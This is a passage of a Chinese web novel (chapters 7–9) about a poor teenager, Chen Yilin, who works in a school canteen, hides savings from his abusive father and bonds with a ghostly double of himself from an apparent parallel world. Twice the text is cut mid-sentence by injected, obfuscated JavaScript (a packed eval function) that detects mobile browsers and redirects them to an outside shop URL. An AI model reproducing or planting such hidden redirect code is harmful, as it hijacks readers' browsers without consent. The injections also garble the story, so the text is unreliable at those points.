“陈亦临”倒吸了口凉气:“就完了?” “不然呢?”陈亦临皱眉。 “上面的油渍都没冲干净,还有泡沫,你再用热水洗一遍。”“陈亦临”宛如一个挑剔的老师,“还有你那双筷子,都发霉了,换双新的吧,对身体不好。” 陈亦临想把碗扣他脑袋上。 “陈亦临”见他脸色难看,又不紧不慢地找补道:“只是个小小的建议,我亲爱的朋友。” 陈亦临暴躁地将碗和筷子重新洗了一遍:“别喊我朋友。” “陈亦临”恍然大悟:“那喊亲爱的?” 陈亦临一脸恶心地看着他,“陈亦临”眼底带着恶作剧得逞的笑意,尾随他来到了餐桌前。 “说吧,你要研究什么?”陈亦临一屁股坐回了椅子上,甩了甩左手上的水。 “先把桌子擦一下吧。”“陈亦临”叹气,“你撒上汤了。” 陈亦临深吸了口气,拿起抹布随便将桌子一擦,“陈亦临”盯着那条看不出颜色的抹布欲言又止,下一秒就对上了陈亦临要杀人的目光。 “……哈哈。”他不尴不尬地笑了一声。 陈亦临故意将抹布扔到他面前,就看见“陈亦临”不着痕迹地往后躲了一下,又若无其事地移了回来。 他挑了下眉毛,盯着“陈亦临”道:“说吧。” “陈亦临”顿时来了精神,他摸了摸下巴,道:“如果假定我们现在处于两个平行的世界里,就能解释为什么你查不到淮微省和荒市这些具体的地址,而且我们的世界常识目前看来是完全一致的,这也能用平行世界的理论得到印证——当然要确定这个结论,还需要更多的细节来推导,毕竟目前我们的时间流速是否一致、空间交汇是否持续这些问题都还没有得到确定,因为时间是一维性的,空间是三维的,那我们就能利用这一点来进行一些实验,比如同时测算时间,相似空间内同时进行高精度的物理实验,那个著名的时间实验你知道吧……” 陈亦临听他说着,脸上的神情越来越严肃。 操,怎么听不懂? “陈亦临”兴致勃勃地阐述了一番自己的想法,满怀期待地看着他:“怎么样,我说得有道理吗?” 陈亦临用力地点了点头。 像网吧里的微积分课,明明说得是人话,但就是完全无法理解。 “陈亦临”冲他竖起了根大拇指:“好样的朋友,我们不愧是一个人,这就是灵魂上的同频共振。” 陈亦临掀起沉重地眼皮:“嗯。” 明天早上不如煮点面条,他看柜子里还剩半包,应该没发霉。 不过发霉也无所谓,煮熟能杀菌。 “接下来我们探讨一下见面条件。”两根修长的手指敲了敲他面前的桌子,“陈亦临同学,认真听讲。” 陈亦临抬起头来看向他,勾起嘴角轻轻笑了一下。 “陈亦临”被他笑得一愣。 陈亦临又板起了脸 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“算了,这也不是很重要。”“陈亦临”凑近他,“我已经推测出了每次遇见你的规律,地点都在我家里,时间不固定,但我的状态一般都是比较放松愉悦的时候,你呢,你每次遇见我都是什么状态?” 陈亦临皱起眉回忆了一下:他被陈顺打个半死、被吴时阴阳怪气后孤身一人在操场看人打球、脑震荡在医院刚醒、一个人在家啃油菜、失业闲逛到医院…… 回忆结束,他的脸色更冷了:“不知道。” “陈亦临”苦恼地盯着他,手指有规律地敲着桌面:“看来我们还要总结更多的经验,对了,我妈给我求了一个护身符,上次就是那东西让我没法跟着你去网吧,我已经偷偷丢掉了,你也注意别放什么护身符在身上,万一我们见不了面就糟了。” 陈亦临问:“什么样的护身符?” “就是——”“陈亦临”的声音戛然而止,旋即脸上的笑容逐渐扩大,他抬手撑在桌子上,笑着俯身凑近他,“朋友,你不会是不想再看见我了吧?” 被猜中心里的陈亦临面色更瘫了,幽幽道:“你能撑得到桌子吗?” “陈亦临”笑眯眯道:“我撑得我这边的书桌,今晚还有好多作业没做呢?你呢,作业做完了吗?” “……”陈亦临突然不想再和他继续研究了。 “肯定没做完。”“陈亦临”十分理解地拍了拍他的肩膀,“我懂。” 一股热气擦着脸颊而过,陈亦临用拇指使劲按了按餐桌砸坏的缺角,指腹传来的密集地疼意让他稍微清醒了过来。 和一个幻觉说了这么久的废话,简直就是浪费时间。 他闭上眼睛,使劲掐了掐眉心。 “你怎么了——”“陈亦临”似乎伸手碰了他的额头一下,但伴随着他睁眼的动作,声音逐渐变得模糊,最后彻底消失。 空荡的房间里只剩下昏黄的灯光,乱七八糟洒了满地。 陈亦临看了看指腹洇出的血,将拇指塞进嘴里用力地咬了一下,更加尖锐的疼痛传来,他垂下眼盯着餐桌上的脏抹布,扯起嘴角凉凉地笑了一声。 “操。” 7. 工作 重新踏进芜城技术学院熟悉的食堂,陈亦临还是有点紧张。 现在不是饭点,大厅里只有搞卫生的阿姨,几个窗口里的职工在收拾餐盒,李建民电话里告诉他直接去二楼找自己,陈亦临拽了拽右手宽大的袖子,试图把石膏盖得更严实一点。 “陈亦临?”吴时粗粝的声音突然从他背后响起。 吴时包的档口正好在餐厅一楼的拐角处,陈亦临特意选了另一个楼梯口,没想到还是碰上了。 他转过身,就看见吴时拖着个垃圾桶站在那里,吴时和陈顺差不多大,中等个子身材肥胖,后缩的下巴全是青黑的胡茬,陈亦临总觉得他做饭不太干净。 见陈亦临不说话,吴时面色不善地皱起眉毛,嚷道:“你来找我也没用,半个月你都请了两次假,我他妈一天才挣多少钱?你知不知道你没法干了给我造成了多大的损失?我也就是看在你爸的面子上不跟你计较,你还真好意思再来找我,我都没让你赔我钱。” 陈亦临险些被他的唾沫星子喷到,警惕地后退了两步,冷声道:“不是来找你的。” 吴时听完顿时更心虚了,他死死瞪着陈亦临,咬着牙压低了声音:“你找领导也没用,你是没满十八周岁,我是看你可怜才让你来打工,你别恩将仇报。” 陈亦临扫了他一眼:“也没打算找领导。” 奈何吴时自觉亏心,他见陈亦临这么淡定,心里越发犯起嘀咕,眼珠子转了转:“你等我一下。” 他拖着垃圾桶进了窗口后面,没过一会儿又快步走出来,往陈亦临手里塞了五百块钱,没好气道;“多给你五十,咱俩这账就算结了,平时看着挺老实的,怎么净干些缺德事儿?” “……”陈亦临简直莫名其妙,但没有到手的钱不要的道理,何况这本来就是他的工资。 于是他将钱往兜里一揣,慢悠悠道:“谢谢吴叔,我只是来吃个饭。” 说完,也不管吴时什么反应,他直接上了二楼。 吴时才不信他的鬼话,抻长了脖子盯着,直到他拐上了楼梯,才晦气地呸了一声。 陈亦临刚上二楼,就看见李建民在和另一个人说话,李建民一看见他,就热情地朝他招了招手:“哎,正说你呢小陈,过来。” 陈亦临快步走过去:“李总好。” “这是我一个侄子,年龄上小点儿,但是家庭呢比较困难,手也受了点伤,先过来兼职几个月。”李建民笑眯眯地对那个领导模样的人道,“闻老师啊,你平时事情多我也不好麻烦你,等转过年去,到时候我再给他办正式入职。” 被他喊闻老师的男人身形清瘦,戴着副黑框眼镜,他上身穿着件藏青色的行政夹克,里面是浅蓝色的衬衫,下面是黑色的西装裤和皮鞋,看起来就很有文化的样子。 “老师好。”陈亦临很有礼貌地打招呼。 闻老师打量了他一眼,客气道;“没事儿,你安心在这里干,你的情况李经理都告诉我了,学校这边也理解,不过工作是一方面,我们还是要以安全为主,尽量别干累活儿。” 这话说得很漂亮,李建民和他握了握手:“麻烦你了闻老师。” 闻老师又看了陈亦临一眼,笑道:“行,我办公室还有事,先走了。” 李建民拍了拍陈亦临的肩膀:“闻经纶老师是综合办公室的主任,后勤部也归他管,虽然说这事儿可大可小,但跟人家知会一声咱们心里就有底了,是不是?” 陈亦临感激地点头:“谢谢李总。” “嗐,不用,喊叔就行。”李建民摆摆手,带着他拐进旁边的后厨入口,道:“这个炸鸡汉堡的档口是新开的,也算是个人包下来的,后面我还打算上奶茶,现在还处于试经营阶段,招了两个员工,你就先在旁边跟着学,给你开实习工资,先一个月一千二,别嫌少啊。” 陈亦临喜出望外:“不少。” “嘿。”李建民被他逗乐了,“等你转正了,一个月两千三。” 陈亦临眼睛一亮:“好的!” 李建民和炸鸡汉堡的两个员工简单交流了一下,这两位员工一个高一个矮,他指着高个子道:“小高,以后你就带着小陈,他手受伤了不太方便,你担待着点。” 小高连连点头。 李建民很快就离开了,小高笑嘻嘻地看着陈亦临:“你好啊,我叫高博乐,我今年二十四应该比你大,你喊我乐哥就行,他叫宋志学。” 陈亦临点头:“乐哥,宋哥。” 宋志学话少,不冷不热地点了点头,高博乐笑道:“没事儿,咱们窗口刚开,不怎么忙,你先学着怎么做,手不方便的话就先擦擦桌子什么的。” 这个人看起来很好相处,陈亦临悬着的心放下了大半。 直到他穿上了工作服,才有种踏实的感觉,前几天一直混吃等死让他异常焦虑,现在他终于又有了努力的方向。 食堂的工作不算累,而且大概看他是李建民亲自安排进来的,高博乐和宋志学两个人对他对很客气,完全不像吴时那么苛刻,外加上陈顺自打离婚后就不再回家,陈亦临的心情好了不止一星半点。 他按部就班地上了两个星期的班,右手也能勉强活动了,他能做的事情也多了起来。 这天高博乐硬要拽着他去一楼:“天天吃汉堡都要吐了,我们去一楼买点清淡的午饭吃。” 今天生意很好,饭点还没过,他们做的汉堡和炸鸡就已经卖完了。 “我不去了,吃汉堡就很好。”陈亦临拒绝了他。 “哎呀,求你了,我自己一个人吃不下去饭。”高博乐却不肯撒手,“而且听说一楼的绿豆冰沙特别好吃,走吧,我请你。” 陈亦临有点心动,于是就跟着他下了楼。 高博乐说得没错,一楼的绿豆冰沙确实美味,他们混在一群学生里排了半天的队买了两杯,又去买了两份青菜和米饭,两个人找了张桌子坐下来吃饭。 “哎,李老板是你亲叔叔吗?”高博乐有点好奇地问。 陈亦临不想给李建民惹麻烦,摇了摇头,但更详细的却不再多说,含糊其词地糊弄过去。好在高博乐也只是随口一问,他指了指一楼门口卖烤肠和烤红薯的摊位:“哎,看见那个人了吗?” 陈亦临顺着他指的方向望过去,就看见一个染着黄毛的青年,这么冷的天对方却只穿着件大logo的短袖,手上戴了七八个戒指,很酷炫。 “别看了,他原本想上咱们档口来着,一直在磨李老板,李老板不太喜欢他,始终没松口。”高博乐小声道,“这小子挺混的,你平时多注意点儿,之前我看他上来溜达了好几次。” 陈亦临依稀记得在档口前见过他两次,闻言点了点头:“行。” 不过他也没怎么放在心上,毕竟他只想踏实挣钱。 二楼。 宋志学正在擦窗台,就有人溜达了进来:“哎,老宋,生意怎么样啊?” 宋志学看了一眼来人,是一楼拐角处的吴时,道:“还成吧,也就那样。” “谦虚了啊,李经理亲自开的档口,肯定不少挣钱。”吴时递给了他一根烟。 宋志学接过来却没抽,就听吴时道:“我跟你打听个事儿,你们档口新来的那个小孩儿怎么样啊?” “陈亦临?”宋志学问。 “对,就是他,之前在我档口干的,这小子手不太干净,让我给辞了。”吴时咧嘴笑道,“李经理一个月给他开多少钱呀?” 之前他好几次碰见陈亦临往二楼跑,一开始以为他来吃饭,后来实在好奇就跟上来看了看,结果发现这小子偷偷在二楼的这个档口又找了新活,每次想起自己塞给陈亦临的那五百块钱,他都气得抓心挠肝。 宋志学皱起了眉:“一千二。” “嚯,不少啊。”吴时有些不爽地啧了一声,笑道,“你一个月也就两千块钱吧,他还什么都不干。” 宋志学说:“李经理给开的,和我没关系。” “老宋啊,你就是太老实。”吴时嗤笑了一声,“不信你就等着吧,陈亦临这小子一直都挺会偷奸耍滑的。” 宋志学没搭腔,吴时又没滋没味地聊了几句,才溜达着下了楼。 “一千二,姓李的真有钱。”他酸溜溜地撇了撇嘴,又想起自己白搭进去的那五百块,转了转眼珠子,从兜里掏出了满是油污的手机,找到电话号码拨了出去。 很快电话就接通了,里面传来了搓麻将的声音,吴时脸上满是轻蔑,但声音却很热情:“喂,老陈呐,忙啥呢?……嗐,没事儿,那什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16560166|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小陈他不是手受伤了嘛,我借了他一千块钱之后他就不干了,啧,你说到这也没还给我……哎,小孩子不懂事,我也不是要你还,就是他又在楼上找了个新档口,我寻思着等他发了工资……啊?你不知道这事儿啊……” 听着对面陈顺愈发暴躁的声音,吴时心中的那口恶气才算勉强散开,他笑道:“你回去好好跟小陈说啊,孩子都这么大了,别老是动手。” …… —— 今天下班早,陈亦临不想太早回家,他背着包去了图书馆。 那天为了不浪费三十块的上网费,除了上微积分课他还查了不少乱七八糟的东西,虽然他考上了高中没上成,但初中毕业三年后是能参加高考的,只是还需要通过高中的学业水平测试获得高中同等学历,满十八周岁后用社会考生的身份报名……只是前段时间发生的事情太多,他压根没有心思去想这件事情。 但现在他找到工作可以赚钱了,而且林晓丽还给他留下了八千多,虽然不知道读大学要花多少钱,但一份工作和八千块的存款足够给他勇气来图书馆了。 他翻开买来的高中课本,认真看了起来,尽管这些知识对他来说异常陌生。 晚上十点,街道上已经没几辆车了,昏黄的路灯藏在茂盛的树枝里,陈亦临还心情颇好地捡了片枫叶。 “嗨~”一道轻飘飘的招呼声从他身后传来。 陈亦临猛地回头,就看见“陈亦临”穿着一身黑站在自己身后,尽管他胆子很大,但也被吓了一跳。 “好久不见。”“陈亦临”幽幽地盯着他说,“你不会真的搞到护身符了吧?” “……没有。”陈亦临看了他一眼,背着书包继续往前走。 “你们这么晚才放学吗?”“陈亦临”飘到他身边,“几节晚自习?” 陈亦临抿了抿嘴唇,神色冷淡了几分。 “陈亦临”似乎已经习惯了他这幅样子,故意拿肩膀撞了撞他:“朋友,别不理我,我今天很难过,想和人说说话。” 这倒是有点稀奇了,陈亦临一直觉得对方整天笑眯眯的没心没肺,没想到他也会有难过的时候。 于是他停下脚步,站在了树下,声音冷酷:“说。” “陈亦临”叹了口气:“我外婆去世了。” 陈亦临愣了一下,他对自己的外婆印象极少,当年外公外婆非常反对林晓丽嫁给陈顺,等陈亦临出生后他们几乎断绝了往来,他上次见到外婆还是几年前,他提着东西跟在林晓丽后面,被老太太拿着扫帚轰出了门。 “节哀。”他有些生疏地开口。 “陈亦临”看起来有些恹恹的,但还是勾起嘴角冲他笑了笑:“好敷衍啊。” 陈亦临面无表情地看着他。 “外婆一直在国外养病,我们很少见面,但听到她去世的消息我还是很难过。”“陈亦临”叹了口气,“还有,上次你突然赶我走,我也很难过。” 陈亦临:“……” “哈,没想到我看出来了吧?”“陈亦临”抱起胳膊,仿佛站在了道德的制高点,他嚣张地凑近陈亦临,“说话。” 尽管只是一团热气,但陈亦临还是不习惯和别人靠这么近,于是他拿着手里捡到的枫叶,在眼前扇了扇。 原本就半透明的“陈亦临”在空气中模糊了一瞬,抬手捂住了自己的脸;“你打我?!” “靠得太近了。”陈亦临冷冷道。 “陈亦临”却故意更近了一步,几乎和他身形完全重合,幽幽道;“那这样呢?有本事你再扇一下。” 从四肢百骸传来了源源不断的暖意,陈亦临大步往前走,“陈亦临”就大步跟着他,仿佛他的第二道影子形影不离,就这么走了几十米,他停下来抹了把脸:“别闹了。” “陈亦临”这才大发慈悲地从他身体里出来,笑吟吟道:“你今天吃得炸鸡吗?身上好香啊。” 陈亦临使劲闭了闭眼睛,然而再睁眼,“陈亦临”依旧站在他面前,他叹了口气:“你想干什么?” 他算明白了,如果不满足这个“幻觉”的要求,这家伙是很难自动消失的。 “陈亦临”想了想,抬手将胳膊搭在了他的肩膀上,一副哥俩好的架势问:“你们这儿有公园吗?” 8.星星 半夜的津水河公园里只有零星几盏灯,北风一吹,泛黄的树叶就能哗啦啦落一大片,胶面泛黄的运动鞋踩上去,发出了清脆的断裂声。 陈亦临缩着肩膀弓着背,试图让自己暖和一点。 “你们这里的公园还挺好看。”他的幻觉在发出感慨,“朋友,这河能钓上鱼来吗?” “不知道,没钓过。”陈亦临顺着他的目光看向黑漆漆的河面,有些发愣。 他记得自己很小的时候,陈顺和林晓丽经常带他来这里玩,那时候陈顺还没有染上赌博,林晓丽会给他穿上厚厚的衣服,他一边牵着一只手,被提溜起来荡秋千,那时候芜城的秋天还没有这么冷。 他吸了吸鼻子,目光忽然一顿,对着水中央的人吼了一嗓子:“干什么呢!” 飘在水里的“陈亦临”被吼得一哆嗦,他转过头嘚瑟地冲陈亦临展示:“看,我会轻功水上漂。” “回来!”陈亦临又吼了一声。 “陈亦临”优哉游哉地走了回来,笑道:“怕什么,我又接触不到这里的现实世界。” 陈亦临冷冷地看了他一眼,转身就走。 “哎!”“陈亦临”赶紧跟上他,歪过头看他,“生气啦?” “你自己玩吧。”陈亦临没好气地挥开他。 “我一个人玩多没意思。”“陈亦临”和他肩并肩走在一块儿,“好啦,我不吓唬你了。” 陈亦临脚步未停,他觉得半夜带个幻觉来公园的自己,像个智障。 “朋友~亲爱的~”被抛弃的幻觉还在骚扰他,“临临~” 陈亦临深吸了一口,转过头就和他来了个脸对脸,差一点就能亲上,他猛地往后退了一步。 “陈亦临”显然也被吓了一跳,戏谑道:“干嘛啊,想强吻?” 陈亦临抽了抽嘴角:“没那个爱好。” “陈亦临”笑眯眯地看着他,往前走了一步,陈亦临往后退了一步,他恶劣地挑了一下眉,又往前走了一步,陈亦临又往后退了一步,结果后腰抵在了河边的栏杆上。 “陈亦临”嚣张道:“有本事再退啊。” 陈亦临:“你再过来我喊救命了。” “陈亦临”:“你喊破喉咙也不会有人来救你的。” 陈亦临喊:“破喉咙。” “陈亦临”愣了愣,旋即笑出了声:“神经病。” 陈亦临扯了扯嘴角,转过身靠在栏杆上看脚底下的水面:“你爸妈带你去看病怎么样了?” “陈亦临”靠过来站在他身边,热烘烘一片,他说:“没查出什么东西来,医生说可能是高三精神压力太大,让多注意休息。” “高三很累吧?”陈亦临问。 “还行,年级第一还是比较轻松的,全市第一有点不太稳。”“陈亦临”矜持道,“你呢?” “……”陈亦临沉默了一瞬,“就那样。” “陈亦临”十分善解人意,搂住他的肩膀笑道:“朋友,要不要帮你辅导一下?” 陈亦临有点心动:“收费吗?” “我就算想收也收不到啊。”“陈亦临”笑道,“还是说你要烧给我?” “操。”陈亦临笑了起来。 “陈亦临”盯着他看了好一会儿,陈亦临被他盯得很不自在:“看什么?” “你笑起来其实挺好看的。”“陈亦临”又靠近了他一点,整个人都和他重合在了一起。 暖烘烘的触感挡住了河边的冷风,陈亦临压平了嘴角,却没有躲开:“你照镜子笑一样。” “不一样。”幻觉说,“你特别不一样,我喜欢跟你待在一起,很舒服很放松,好像自己变成了另一个样子。” 陈亦临轻嗤了一声,垂下眼睛看着自己搭在栏杆上的手,在黑夜中依稀能看见另一只并不能完全和他重合的手,相同的筋骨和皮肤的纹路,带着暖意,让他原本冰冷的手指逐渐开始回温。 如果放在鬼故事里,这分明是要夺舍,但他现在却无法抗拒甚至甘之如饴。 ……真是疯了。 “太晚回家可以吗?”“陈亦临”问他。 “无所谓。”陈亦临有点贪恋他身体的温度,“没人管我。” “陈亦临”似乎想问什么,但直到最后也没问,而是和他一起站在河岸边吹着冷风,有一搭没一搭地说着话。 不知道是不是因为两个人完全重合在一起,陈亦临能清晰地感受到对方低落的情绪,细密缠绵地贴在他身上,温暖潮湿得像件雨天晾不干的毛衣。 “你不回家吗?”陈亦临坐在草地里,靠着身后的松树,困顿地打了个哈欠。 “我就在家里,我爸妈在操办丧礼,今晚用不到我。”“陈亦临”的声音同样带上了倦意,他和陈亦临一起坐在草地上,“其实我一点儿也没感觉到伤心。” 陈亦临的意识有些模糊,将自己往他身体里靠了靠:“没关系,你们又不熟。” “陈亦临”的笑声像是贴着他的耳朵:“我又穿了件大衣,这样有没有觉得更暖和一点儿?” 陈亦临道:“本来也不冷。” 他在食堂忙了一天,实在累得有些撑不住,可今天的“陈亦临”不开心,虽然只是个幻觉——还是个有自己的想法和爱好的幻觉,那他也可以用一晚上陪着对方看看河,看看星星。 就好像也有人在陪着自己一样。 凉爽的秋夜繁星满天,倒映在津水河里,陈亦临被热烘烘的暖意包围着,隔绝了深夜的冷风,听着身边絮絮叨叨的声音,沉沉地闭上了眼睛。 细小的鼾声传来,“陈亦临”起身看了一眼。 原来是睡着了。 他蹲在陈亦临对面,看着对方身上单薄的外套和发白的牛仔裤,还有快穿开胶的运动鞋,幽幽地叹了口气,伸出手指轻轻戳了戳对方紧皱的眉头,小声道:“陈亦临,回家睡吧,我没那么难过了。” 陈亦临却睡得很沉。 他无奈地看着他,想了想,拽起了床上的棉被披在了身上,然后靠在床头,保持着同样的姿势坐了下来,好确保自己能完全覆盖住陈亦临。 “我现在像不像你的大外套?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562551|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他仰起头看天上的那些星星,“你会不会也是天上的一颗星星?” 明明能看见,却偏偏触碰不到。 “谢谢你今天陪我。”“陈亦临”说。 夜凉如水,两个人在树下沉沉地睡了过去。 —— 陈亦临觉得自己病得越来越严重了。 “你的意思是说,因为你的幻觉心情不好,所以你陪他去津水河公园看河看星星看了一夜,然后早上被遛狗的好心市民喊醒,然后发现自己感冒了,对吗?”庞郭值了一天的急诊夜班,听完陈亦临的叙述,合理怀疑自己困疯了。 “对。”陈亦临吸了吸鼻子,“本来不冷的,他给我挡着风,不过后来天快亮了,他就消失了。” “……”庞郭抹了把脸,“你现在不应该拿感冒药,你应该拿点治疗精神分裂的药。” “不用,我之前很害怕,但是现在感觉挺好的。”陈亦临一本正经道,“我就只拿感冒药。” “你那不叫感觉挺好,叫病得更严重了。”庞郭撕了张纸写下了一串电话号码,“这是我一个在精神病院的同学,等你哪天觉得撑不住了,可以去找他看看,他收费特别低。” 陈亦临接过纸条,仔细装进了书包里:“谢谢你,郭医生。” 庞郭心累地摆摆手:“赶紧拿药去吧。” 现在是凌晨五点半,离上班还有点时间,陈亦临拿完药背着书包回家,打算先洗个澡煮点面吃完再去食堂。 钥匙插进锁眼,刚拧半圈门就打开了。 陈亦临心脏一沉,警惕地退后了半步,下意识做好了逃跑的姿势,一旦陈顺冒头,他立马从这儿蹦到楼梯下边儿。 然而只有扑面而来的烟味,房间里静悄悄一片。 陈亦临等了几秒,才壮着胆子走进门,旋即拧起了眉。 客厅里扔满了烟头和啤酒瓶子,茶几上是散乱的扑克牌,餐桌上是满满当当的外卖盒子,沙发的扶手上还放着把菜刀。 陈亦临盯着那把刀看了许久,直接手心里沁出汗来,他才松开了门把手。 陈顺昨天晚上回来过。 他一时摸不准扶手上那把菜刀的用途,但毫无疑问这是陈顺的某种恐吓,大概之前被他拿着菜刀砍很没面子,这个王八蛋迟早要找回来。 卧室里的衣柜和书桌都被翻得乱七八糟,他所有的衣服都被丢了出来,口袋都被翻过,之前松动的地板也被撬开,床也被挪动过……他甚至能想象到陈顺找不到钱暴怒的样子。 陈亦临看着面前的一片狼藉,太阳穴突突直跳,原本因为感冒不通畅的呼吸更加艰难,仿佛下一秒就会窒息而亡。 他放下书包,沉默地收起着满地的垃圾。 幸好陈顺只是偶尔回来一次。 幸好他把银行卡藏在了其他地方。 幸好……昨晚“陈亦临”拽着他去了河边。 他将那把菜刀放回了厨房的刀架上,想起昨天晚上“陈亦临”裹着被子的样子,轻轻笑出了声。 如果是星星的话,那也一定是颗幸运星。 9.从良 发工资那天,陈亦临一晚上没睡。 他翻来覆去数了好几遍,十二张不多不少,之前吴时给他的那五百他只花了一百,他又留下了两百当零花钱,剩下的一千四全都存进了林晓丽留给他的银行卡里,凑齐了一万块。 那可是一万块。 陈亦临盯着ATM机屏幕上的一串零愣了好一会儿,脸上的笑容逐渐变态,他长这么大还是第一次拥有这么多钱,他恋恋不舍地瞧了好一会儿,才舍得把银行卡拔出来,放进了外套的内兜里。 他揣着兜直接从台阶上蹦下来,刚拆了石膏的手腕还在隐隐作痛,但他却感觉好极了。 一万块! 回来的路上他佝偻着肩膀,警惕地左看右看,像个躲避追捕的通缉犯,直到把银行卡重新塞回废弃电屋的砖墙缝隙里,他才重重地松了口气。 “老陈回来了啊,好久不见你了。” 他刚从电屋的窗户翻出来,就听见远处的说话声,顿时头皮一紧。 “最近挺忙的。”是陈顺的声音。 “说起来,你家儿子又干啥工作了?我瞅着天天早出晚归的,都见不到人影。” 陈顺笑道:“他啊,一直在技校食堂干,又换了个档口,挣钱多了。” “那也挺好的……” 两个人又寒暄了几句,脚步声渐远,陈顺走向了单元门门口。 陈亦临紧贴着墙壁,后背被硌得生疼,额头沁出了层细密的冷汗,他刚要动弹,眼前忽然一片眩晕,紧接着一道熟悉的身影出现在眼前。 “嗨~”“陈亦临”兴奋地凑到他面前,“又见面啦!” “嘘。”陈亦临抬手抵在唇边,示意他安静。 “陈亦临”立刻闭嘴,跟随着他的视线警惕地看向四周,趴在他肩膀上用气声道:“这是哪儿啊?” 耳廓被喷洒了一片热气,陈亦临听着熟悉的声音,原本尖锐的情绪缓缓平静,他压低了声音道:“我家。” 他扫了一眼面前破旧的居民楼,又转头看向“陈亦临”,对方脸上没什么奇怪的表情,反而有点兴奋:“所以你要干什么?离家出走?” “不是。”陈亦临原本僵硬的身体逐渐回温,他利落地翻进了窗户,将砖缝里的银行卡取了出来。 “哦豁,偷偷攒的零花钱?”“陈亦临”小小地欢呼了一声。 陈亦临将卡换了个砖缝,低声道:“一直放这儿肯定会被发现,帮我另想一个地方。” “银行保险箱。”“陈亦临”蹲下来和他一起看那个砖缝,“你往里面塞一点儿,再搞点灰进去,肯定没人发现。” 陈亦临按照他的指示伪装了一番,皱起眉道:“银行保险箱?” “陈亦临”想了想:“不过你还没满十八周岁吧?” “嗯。”陈亦临道,“要等到明年。” “真让人伤心。”“陈亦临”蹲在大铁箱中间,“腿不麻吗?不回家?” 陈亦临咬了咬后槽牙,垂着眼睛看着面前的砖缝,不知道在想什么。 “陈亦临”伸手戳了戳他的肩膀:“是不是和你爸妈吵架了?没事儿,我在这儿陪着你。” 陈亦临紧绷的神经稍缓,他蹲在墙角和铁箱子中间,后边儿和右边儿是墙,左边儿是有“陈亦临”的铁箱子,前边儿是紧锁的门,这个狭窄的空间让他生出了极大的安全感,他舔了舔犬齿,低声道:“陈亦临。” “哎。”“陈亦临”眼睛瞬间一亮,这还是他第一次被喊大名。 陈亦临没看他,只垂着眼睛盯着他裤脚的弹力带:“我想找个房子搬出去住,你觉得怎么样?” “陈亦临”愣了一下:“不和你爸妈一块住吗?吵得很厉害?” 陈亦临沉默了很久,没说话,“陈亦临”也没有继续追问,这让他稍微自在了点儿,他伸手虚虚地弹了一下“陈亦临”裤脚弹力带的卡扣,问:“半个多月都没见你了,干嘛去了?” “陈亦临”笑道:“还能干嘛,每天除了上课就是考试,快要烦死了,还因为打篮球跟我爸妈大吵了一架。” 陈亦临抬起头看着他:“他们不让你打篮球?” “嗯,明年就要高考了嘛。”“陈亦临”盘腿坐在了地上,一只手撑着脑袋看着他,“是不是很过分?” “要好好学习。”陈亦临很认真地说。 “好吧。”“陈亦临”耸了耸肩膀,笑盈盈地凑近了他一点,“这么久没见面,你有没有想我?” “……”陈亦临向后仰了仰头,“这说明我病情稳定了。” “呵。”“陈亦临”有点不爽,“早晚让你知道我不是个幻觉。” 后脑勺磕在冰冷的砖头上,陈亦临无所谓地笑了一声:“小幻觉还挺有志气。” “陈亦临”伸手去扯他的脸颊,可惜只能带来一片热烘烘的触感,他拍了拍陈亦临的脑袋:“我刚才翘课出来打了半小时篮球,这会儿大课间休息,等一下就要回去上课了,可能陪不了你太久。” 一上课他就下意识地集中精力,很难看见陈亦临。 “最近很忙吗?”陈亦临有点好奇。 “这段时间我测验挺多,心情一直放松不下来,估计就是因为这样所以我们见不了面。”他有些庆幸道,“幸好今天我很开心,不然你害怕我就没办法出现了。” 陈亦临皱起眉:“我没有害怕。” “你骗不了我,我感觉得到。”“陈亦临”说,“上次我难过你肯定也感觉到了。” 陈亦临说不过他,只能沉默以对。 “现在感觉好点儿了吗?”“陈亦临”张开胳膊,“要不要抱一下?” 陈亦临面无表情地和他对视:“你敢抱一下试试。” 就在他以为“陈亦临”会知难而退的时候,对方却忽然凑上来,虚虚地将他抱在了怀里,拍了拍他的后背。 陈亦临是打算推开他的,可对方摸不着碰不到,就算他跑掉还是会像幽灵一样缠上来,根本就推不开。 于是他只能被迫接受了这个虚无缥缈的拥抱,他紧拧着眉,神情紧绷,却在感受到对方体温的刹那,鼻子一酸。 操。 真没出息。 他抬起手,大概是想搂住了“陈亦临”的腰,但又不知道为什么僵在原地,在对方直起身子的时候他瞬间收回了手,清了清嗓子道:“你不是还要去上课吗?” “陈亦临”看了一眼手表:“还有五分钟。” “赶紧走吧。”陈亦临皱起眉。 “数学课不上也罢。”“陈亦临”嚣张道,“我每次都能考满分。” 陈亦临朝他竖起了根中指:“滚。” “陈亦临”一脸受伤地望着他:“亲爱的临临,你怎么能这样对我?” “我还能用消防斧劈你。”陈亦临冷酷无情道。 “陈亦临”一脸菜色,但就是磨磨蹭蹭不肯走:“下次见面不知道又要等多久,我每天晚上都会想你。” 陈亦临被他搞得有点恶心:“你想我干什么?” “你难道不会想我吗?”“陈亦临”震惊道。 “完全不会。”陈亦临起身四处张望。 “找什么?”“陈亦临”从善如流地贴在他身边陪他一起。 “找砖头看看能不能把你砸回去。”陈亦临目光一定,抓起了窗台上的砖头掂了掂,眼神冷嗖嗖地看向他。 “……”“陈亦临”拽下额头潮湿的发带,指了指他,“真心错付,临临,我再也不会爱你了。” 